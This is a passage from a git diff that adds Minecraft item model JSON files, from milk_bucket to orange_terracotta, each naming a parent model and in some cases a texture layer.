b/src/assets/minecraft/models/item/milk_bucket.json new file mode 100644 index 00000000..4f4a252f --- /dev/null +++ b/src/assets/minecraft/models/item/milk_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/milk_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/minecart.json b/src/assets/minecraft/models/item/minecart.json new file mode 100644 index 00000000..f478d37c --- /dev/null +++ b/src/assets/minecraft/models/item/minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mojang_banner_pattern.json b/src/assets/minecraft/models/item/mojang_banner_pattern.json new file mode 100644 index 00000000..bfac8a9e --- /dev/null +++ b/src/assets/minecraft/models/item/mojang_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/mojang_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mooshroom_spawn_egg.json b/src/assets/minecraft/models/item/mooshroom_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/mooshroom_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_cobblestone.json b/src/assets/minecraft/models/item/mossy_cobblestone.json new file mode 100644 index 00000000..e865e8fc --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_cobblestone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_cobblestone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_cobblestone_slab.json b/src/assets/minecraft/models/item/mossy_cobblestone_slab.json new file mode 100644 index 00000000..814e6a7a --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_cobblestone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_cobblestone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_cobblestone_stairs.json b/src/assets/minecraft/models/item/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..bc2712d2 --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_cobblestone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_cobblestone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_cobblestone_wall.json b/src/assets/minecraft/models/item/mossy_cobblestone_wall.json new file mode 100644 index 00000000..8baaff2b --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_cobblestone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_cobblestone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_stone_brick_slab.json b/src/assets/minecraft/models/item/mossy_stone_brick_slab.json new file mode 100644 index 00000000..539b7424 --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_stone_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_stone_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_stone_brick_stairs.json b/src/assets/minecraft/models/item/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..2366348b --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_stone_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_stone_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_stone_brick_wall.json b/src/assets/minecraft/models/item/mossy_stone_brick_wall.json new file mode 100644 index 00000000..185b158a --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_stone_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_stone_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mossy_stone_bricks.json b/src/assets/minecraft/models/item/mossy_stone_bricks.json new file mode 100644 index 00000000..a9fe750f --- /dev/null +++ b/src/assets/minecraft/models/item/mossy_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mule_spawn_egg.json b/src/assets/minecraft/models/item/mule_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/mule_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mushroom_stem.json b/src/assets/minecraft/models/item/mushroom_stem.json new file mode 100644 index 00000000..b791415f --- /dev/null +++ b/src/assets/minecraft/models/item/mushroom_stem.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mushroom_stem_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mushroom_stew.json b/src/assets/minecraft/models/item/mushroom_stew.json new file mode 100644 index 00000000..70e31deb --- /dev/null +++ b/src/assets/minecraft/models/item/mushroom_stew.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/mushroom_stew" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_11.json b/src/assets/minecraft/models/item/music_disc_11.json new file mode 100644 index 00000000..8dc87a40 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_11.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_11" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_13.json b/src/assets/minecraft/models/item/music_disc_13.json new file mode 100644 index 00000000..f0bb3d73 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_13.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_13" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_blocks.json b/src/assets/minecraft/models/item/music_disc_blocks.json new file mode 100644 index 00000000..63e58225 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_blocks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_blocks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_cat.json b/src/assets/minecraft/models/item/music_disc_cat.json new file mode 100644 index 00000000..1dff43f5 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_cat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_cat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_chirp.json b/src/assets/minecraft/models/item/music_disc_chirp.json new file mode 100644 index 00000000..ec3b4307 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_chirp.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_chirp" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_far.json b/src/assets/minecraft/models/item/music_disc_far.json new file mode 100644 index 00000000..266a311f --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_far.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_far" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_mall.json b/src/assets/minecraft/models/item/music_disc_mall.json new file mode 100644 index 00000000..889a2ee0 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_mall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_mall" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_mellohi.json b/src/assets/minecraft/models/item/music_disc_mellohi.json new file mode 100644 index 00000000..68b51438 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_mellohi.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_mellohi" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_pigstep.json b/src/assets/minecraft/models/item/music_disc_pigstep.json new file mode 100644 index 00000000..4e2b8786 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_pigstep.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_pigstep" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_stal.json b/src/assets/minecraft/models/item/music_disc_stal.json new file mode 100644 index 00000000..02f043d2 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_stal.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_stal" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_strad.json b/src/assets/minecraft/models/item/music_disc_strad.json new file mode 100644 index 00000000..5c4fbd72 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_strad.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_strad" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_wait.json b/src/assets/minecraft/models/item/music_disc_wait.json new file mode 100644 index 00000000..d46027dc --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_wait.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_wait" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/music_disc_ward.json b/src/assets/minecraft/models/item/music_disc_ward.json new file mode 100644 index 00000000..d45d7978 --- /dev/null +++ b/src/assets/minecraft/models/item/music_disc_ward.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/music_disc_ward" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mutton.json b/src/assets/minecraft/models/item/mutton.json new file mode 100644 index 00000000..56c070d4 --- /dev/null +++ b/src/assets/minecraft/models/item/mutton.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/mutton" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/mycelium.json b/src/assets/minecraft/models/item/mycelium.json new file mode 100644 index 00000000..c97f2ec0 --- /dev/null +++ b/src/assets/minecraft/models/item/mycelium.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mycelium" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/name_tag.json b/src/assets/minecraft/models/item/name_tag.json new file mode 100644 index 00000000..ee668ff5 --- /dev/null +++ b/src/assets/minecraft/models/item/name_tag.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/name_tag" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nautilus_shell.json b/src/assets/minecraft/models/item/nautilus_shell.json new file mode 100644 index 00000000..35a8e509 --- /dev/null +++ b/src/assets/minecraft/models/item/nautilus_shell.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/nautilus_shell" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_brick.json b/src/assets/minecraft/models/item/nether_brick.json new file mode 100644 index 00000000..b7260584 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_brick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/nether_brick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_brick_fence.json b/src/assets/minecraft/models/item/nether_brick_fence.json new file mode 100644 index 00000000..5a72d31a --- /dev/null +++ b/src/assets/minecraft/models/item/nether_brick_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_brick_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_brick_slab.json b/src/assets/minecraft/models/item/nether_brick_slab.json new file mode 100644 index 00000000..dc7b2097 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_brick_stairs.json b/src/assets/minecraft/models/item/nether_brick_stairs.json new file mode 100644 index 00000000..c0669dfe --- /dev/null +++ b/src/assets/minecraft/models/item/nether_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_brick_wall.json b/src/assets/minecraft/models/item/nether_brick_wall.json new file mode 100644 index 00000000..e01270d4 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_bricks.json b/src/assets/minecraft/models/item/nether_bricks.json new file mode 100644 index 00000000..ada571f6 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_gold_ore.json b/src/assets/minecraft/models/item/nether_gold_ore.json new file mode 100644 index 00000000..ca989c79 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_gold_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_gold_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_quartz_ore.json b/src/assets/minecraft/models/item/nether_quartz_ore.json new file mode 100644 index 00000000..4c6d1bf7 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_quartz_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_quartz_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_sprouts.json b/src/assets/minecraft/models/item/nether_sprouts.json new file mode 100644 index 00000000..847698f8 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_sprouts.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/nether_sprouts" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_star.json b/src/assets/minecraft/models/item/nether_star.json new file mode 100644 index 00000000..b2874c28 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_star.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/nether_star" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_wart.json b/src/assets/minecraft/models/item/nether_wart.json new file mode 100644 index 00000000..de82d450 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_wart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/nether_wart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/nether_wart_block.json b/src/assets/minecraft/models/item/nether_wart_block.json new file mode 100644 index 00000000..a66f9a27 --- /dev/null +++ b/src/assets/minecraft/models/item/nether_wart_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/nether_wart_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_axe.json b/src/assets/minecraft/models/item/netherite_axe.json new file mode 100644 index 00000000..50d50009 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/netherite_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_block.json b/src/assets/minecraft/models/item/netherite_block.json new file mode 100644 index 00000000..828da634 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/netherite_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_boots.json b/src/assets/minecraft/models/item/netherite_boots.json new file mode 100644 index 00000000..c7dae902 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_boots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_boots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_chestplate.json b/src/assets/minecraft/models/item/netherite_chestplate.json new file mode 100644 index 00000000..61d2982a --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_chestplate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_chestplate" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_helmet.json b/src/assets/minecraft/models/item/netherite_helmet.json new file mode 100644 index 00000000..4df20a59 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_hoe.json b/src/assets/minecraft/models/item/netherite_hoe.json new file mode 100644 index 00000000..d9c185dc --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/netherite_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_ingot.json b/src/assets/minecraft/models/item/netherite_ingot.json new file mode 100644 index 00000000..0ef436c0 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_ingot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_ingot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_leggings.json b/src/assets/minecraft/models/item/netherite_leggings.json new file mode 100644 index 00000000..e3e889cc --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_leggings.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_leggings" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_pickaxe.json b/src/assets/minecraft/models/item/netherite_pickaxe.json new file mode 100644 index 00000000..663d5162 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/netherite_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_scrap.json b/src/assets/minecraft/models/item/netherite_scrap.json new file mode 100644 index 00000000..8465c678 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_scrap.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/netherite_scrap" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_shovel.json b/src/assets/minecraft/models/item/netherite_shovel.json new file mode 100644 index 00000000..88e93948 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/netherite_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherite_sword.json b/src/assets/minecraft/models/item/netherite_sword.json new file mode 100644 index 00000000..a2d7ef42 --- /dev/null +++ b/src/assets/minecraft/models/item/netherite_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/netherite_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/netherrack.json b/src/assets/minecraft/models/item/netherrack.json new file mode 100644 index 00000000..39d75ee8 --- /dev/null +++ b/src/assets/minecraft/models/item/netherrack.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/netherrack" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/note_block.json b/src/assets/minecraft/models/item/note_block.json new file mode 100644 index 00000000..dd873344 --- /dev/null +++ b/src/assets/minecraft/models/item/note_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/note_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_boat.json b/src/assets/minecraft/models/item/oak_boat.json new file mode 100644 index 00000000..793cf520 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/oak_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_button.json b/src/assets/minecraft/models/item/oak_button.json new file mode 100644 index 00000000..7e99608e --- /dev/null +++ b/src/assets/minecraft/models/item/oak_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_door.json b/src/assets/minecraft/models/item/oak_door.json new file mode 100644 index 00000000..93f7e735 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/oak_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_fence.json b/src/assets/minecraft/models/item/oak_fence.json new file mode 100644 index 00000000..039fd914 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_fence_gate.json b/src/assets/minecraft/models/item/oak_fence_gate.json new file mode 100644 index 00000000..04dee087 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_leaves.json b/src/assets/minecraft/models/item/oak_leaves.json new file mode 100644 index 00000000..a54fc8a7 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_log.json b/src/assets/minecraft/models/item/oak_log.json new file mode 100644 index 00000000..b450f38f --- /dev/null +++ b/src/assets/minecraft/models/item/oak_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_planks.json b/src/assets/minecraft/models/item/oak_planks.json new file mode 100644 index 00000000..a0351753 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_pressure_plate.json b/src/assets/minecraft/models/item/oak_pressure_plate.json new file mode 100644 index 00000000..ec3f4456 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_sapling.json b/src/assets/minecraft/models/item/oak_sapling.json new file mode 100644 index 00000000..93a96b44 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_sign.json b/src/assets/minecraft/models/item/oak_sign.json new file mode 100644 index 00000000..0f6a0f05 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/oak_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_slab.json b/src/assets/minecraft/models/item/oak_slab.json new file mode 100644 index 00000000..263d7d00 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_stairs.json b/src/assets/minecraft/models/item/oak_stairs.json new file mode 100644 index 00000000..282b4310 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_trapdoor.json b/src/assets/minecraft/models/item/oak_trapdoor.json new file mode 100644 index 00000000..a041a5b4 --- /dev/null +++ b/src/assets/minecraft/models/item/oak_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/oak_wood.json b/src/assets/minecraft/models/item/oak_wood.json new file mode 100644 index 00000000..a51270ef --- /dev/null +++ b/src/assets/minecraft/models/item/oak_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/oak_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/observer.json b/src/assets/minecraft/models/item/observer.json new file mode 100644 index 00000000..c1e1ddfe --- /dev/null +++ b/src/assets/minecraft/models/item/observer.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/observer" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/obsidian.json b/src/assets/minecraft/models/item/obsidian.json new file mode 100644 index 00000000..0c124ed6 --- /dev/null +++ b/src/assets/minecraft/models/item/obsidian.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/obsidian" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ocelot_spawn_egg.json b/src/assets/minecraft/models/item/ocelot_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/ocelot_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_banner.json b/src/assets/minecraft/models/item/orange_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/orange_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_bed.json b/src/assets/minecraft/models/item/orange_bed.json new file mode 100644 index 00000000..c014375a --- /dev/null +++ b/src/assets/minecraft/models/item/orange_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/orange_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_carpet.json b/src/assets/minecraft/models/item/orange_carpet.json new file mode 100644 index 00000000..f1421e23 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_concrete.json b/src/assets/minecraft/models/item/orange_concrete.json new file mode 100644 index 00000000..6238369f --- /dev/null +++ b/src/assets/minecraft/models/item/orange_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_concrete_powder.json b/src/assets/minecraft/models/item/orange_concrete_powder.json new file mode 100644 index 00000000..3c854fe1 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_dye.json b/src/assets/minecraft/models/item/orange_dye.json new file mode 100644 index 00000000..4c5e5e9b --- /dev/null +++ b/src/assets/minecraft/models/item/orange_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/orange_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_glazed_terracotta.json b/src/assets/minecraft/models/item/orange_glazed_terracotta.json new file mode 100644 index 00000000..9a67ff62 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_shulker_box.json b/src/assets/minecraft/models/item/orange_shulker_box.json new file mode 100644 index 00000000..e8a725a2 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/orange_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_stained_glass.json b/src/assets/minecraft/models/item/orange_stained_glass.json new file mode 100644 index 00000000..b00fed28 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/orange_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_stained_glass_pane.json b/src/assets/minecraft/models/item/orange_stained_glass_pane.json new file mode 100644 index 00000000..756f767a --- /dev/null +++ b/src/assets/minecraft/models/item/orange_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/orange_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/orange_terracotta.json b/src/assets/minecraft/models/item/orange_terracotta.json new file mode 100644 index 00000000..6d399783 --- /dev/null +++ b/src/assets/minecraft/models/item/orange_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": 